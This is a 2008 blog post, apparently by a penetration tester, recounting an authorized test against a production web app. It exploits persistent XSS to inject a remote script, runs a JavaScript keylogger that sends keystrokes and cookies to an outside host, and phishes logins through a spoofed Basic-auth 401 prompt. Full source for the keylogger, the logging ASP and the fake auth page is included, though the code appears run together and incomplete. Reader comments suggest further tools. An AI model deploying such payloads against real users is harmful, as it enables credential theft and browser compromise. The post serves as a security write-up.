Tuesday, March 4, 2008

Fun with Persistent XSS

For the past few weeks, I've been doing some pen-testing for a friend, after hours. His client is an Internet business with no staging/qa systems, so I was testing production web apps. For one particular app, we did primarily a black box test where I was given only one set of low privileged credentials.

The application contains links to other applications also protected with basic auth, but for which my creds have no access. I needed to get access to these other apps on other servers, since that's where the juicy data was!

After many hours, the only vuln I could find was some persistent cross-site scripting in a user profile management script. I was allowed to create profiles of people which populate a drop down list in the left hand frame of the site. It was in this list that I could inject arbitrary tags. Since the site relied only on the authorization header to grant access, and not a session cookie, cookie theft and session hijacking was not a feasible option.

My payload: <SCRIPT src="http://myserver.com/script/"></script>
I used a default file (index.asp) to serve the JS content since I had some space limitations to deal with.

I looked into cross-site tracing to try and steal authorization headers, but I couldn't get it to work with JS or client-side VBScript (XMLHTTP/WINHTTP don't let you use trace). I figured the next best tactic would be to launch some more invasive XSS attacks. After confirming the rules of engagement, I was given the OK to start pwning browsers. Awesome!

My first payload consisted of a JavaScript key logger, as well as some code to track user statistics (IP address, what URLs they're visiting, etc). It's at the bottom of this post. There is a lot I could have done here, but rather than try to compromise clients, I focused on just trying to steal user credentials. All I really wanted was access to other applications linked to from this portal.

Once I deployed the initial payload, I found that at that particular time, there was only one user, and he/she wasn't typing anything in the browser. I wasn't logging any key strokes, but I saw the browser requesting one URL over and over again. The URL was a stats page showing how many customers were converting on one of their web sites :-) (Anyone who has ever run an ecommerce site knows what I'm talking about)

Since I couldn't get the authorization header, there were no cookies, and my user wasn't even typing anything, I figured my best shot would be to phish credentials out of him using a spoofed 401 authentication request. I put a script on my web server that prompted the user for credentials while spoofing the realm that the real server used. Using my XSS payload, I could then redirect the main frame of the users browser to my 401 script whenever I wanted.

Since the page was framed, and did not use HTTPS, it would not be immediately obvious that any of my scripts were hosted elsewhere. The authentication prompt did show my web server IP address, but I hoped the user would not notice this subtle detail. I was relying on the the user to enter their credentials into my spoofed basic auth prompt without a second thought.

I waited for the user to come back and start refreshing the stats page. When they did, I modified my JS payload to start redirecting to my spoofed basic auth page. My script logged whatever authorization header was sent back by the web browser, but it never let the user through. Since I was actively monitoring the attack, I would manually disable it to let user through and hopefully not arouse too much suspicion.

The first attempt yeiled Og==. A base64 encoded semi-colon. Since my script was hosted a different domain, the browser did not initially pre-populate anything, and the user just hit enter to submit a blank username and password. The second attempt got me TkyLjE2OC4xLjIwXGpvaG46, which when decoded, was "\john:". The browser populated the username as the client machine IP and the locally logged on user-name. The user didn't enter a password, and hit submit.

At this point, I was pretty frustrated, so I disabled the 401 prompt, let the user in, and went back to the drawing board. My script was working but the user didn't enter anything. I didn't see a better way to launch this attack, so I just tried a few more times. Eventually, the user entered the same credentials I was initially given to conduct the test. I phished the credentials I already had! They were probably the easiest for the user to obtain, since they had recently been provided to us for the test. Oh well...

My big mistake here was that I assumed the user knew their account credentials. More likely, they entered them once, but checked the box allowing the browser to remember them, so they never had to manually enter them again.

Looking back, rather then attempt to steal credentials, I could have written some JavaScript to proxy HTTP requests to protected resources through this users browser, and send the resulting response data back to me. This would have taken much more time. I'll have to write some code to do that for next time.

Even though I was not completely successful, this was still a fun exercise. It was cool to actually go head to head against one person in real time, and modify my attack on the fly! I don't usually get to do that at my day job...

If anyone has any other ideas on what I could have done differently, feel free to comment. That is, if anyone actually reads this long post. If you still feel like reading, check my code below. Cheers!

JavaScript - not the prettiest, but it got the job done!
<% response.contenttype="text/javascript" %>

function keylogger(e){
document.images[0].src = "http://xxxxxxx/k/logger.asp?key=" + e.keyCode + "&ccookie=" + document.cookie;
document.images[0].src = "http://xxxxxxxx/k/logger.asp?key=0&ccookie=BEGIN" + document.cookie;

var browser=navigator.appName;
var b_version=navigator.appVersion;
var version=parseFloat(b_version);
if ((browser=="Microsoft Internet Explorer")&& (version>=4)){
var keylog='';
document.onkeypress = function () {
k = window.event.keyCode;
//window.status = keylog += String.fromCharCode(k) + '[' + k +']';
document.images[0].src = "http://xxxxxxxxxx/k/logger.asp?key=" + k + "&ccookie=" + document.cookie;
parent.frames[1].document.onkeypress = function () {
k = parent.frames[1].window.event.keyCode;
//window.status = keylog += String.fromCharCode(k) + '[' + k +']';
document.images[0].src = "http://xxxxxxxxx/k/logger.asp?key=" + k + "&ccookie=" + document.cookie;
document.body.addEventListener("keyup", keylogger, false);
parent.frames[1].document.body.addEventListener("keyup", keylogger, false);
// parent.frames[1].document.location = "http://xxxxxxxxxxx/k/auth.asp";
document.images[0].src = "http://xxxxxxxx/k/logger.asp?key=0&ccookie=END" + document.cookie + "%20" + parent.frames[1].document.location.href;

strKey = request("key")
httpReferrer = request.servervariables("HTTP_REFERER")
httpCookie = request("ccookie")
x= Logit("d:\logs\keylogger.txt", chr(strKey) & vbtab & httpReferrer &vbtab & httpCookie)

function Logit(strOutputFile, strOutPut)
Dim objFSO, objOutputFile
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objOutputFile = objFSO.OpenTextFile(strOutputFile, 8, True)
objOutputFile.Write now() & vbtab & strOutPut & vbCrLf
Set objFSO = Nothing
Set objOutputFile = Nothing
end function %>

Auth.asp - Modified to send the user where they want to go after they submit creds.
function Logit(strOutputFile, strOutPut)
Dim objFSO, objOutputFile
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objOutputFile = objFSO.OpenTextFile(strOutputFile, 8, True)
objOutputFile.Write now() & vbtab & strOutPut & vbCrLf
Set objFSO = Nothing
Set objOutputFile = Nothing
end function

if instr(request.servervariables("ALL_RAW"), "Authorization:") <=0 then x= Logit("d:\logs\credlogger.txt", request.servervariables("ALL_RAW")) response.status = 401 response.addheader "WWW-Authenticate", "Basic realm=""Spoofin yo realmz!""" response.addheader "Server", "Apache/1.3.20 (Unix) PHP/4.2.2" else x= Logit("d:\logs\credlogger.txt", request.servervariables("ALL_RAW")) %>
document.location.href="http://where the user wants to go";
<% end if %>


Anonymous said...

Hey bro,
very interresting article.
So basically you've been using the vuln to link it to a JS File which pretendet to show the htaccess-login of the website hoping that the user enters his details for you to receive them.(attack would of been successfull then).
This would be a very good idea and should also work,but only if he'd have entered his details,but in this case it seems he didnt.
You could try using "Beef"(http://www.bindshell.net/tools/beef).That basically wouldn't be a totally different idea than the one you allready had,but it would simplify the job.
Also if the Script,you've tested this on,doesn't have protections against CSRF(Cross-Site Request Forgery) you maybe could have tried that.

Anonymous said...

Good brief and this mail helped me alot in my college assignement. Thank you on your information.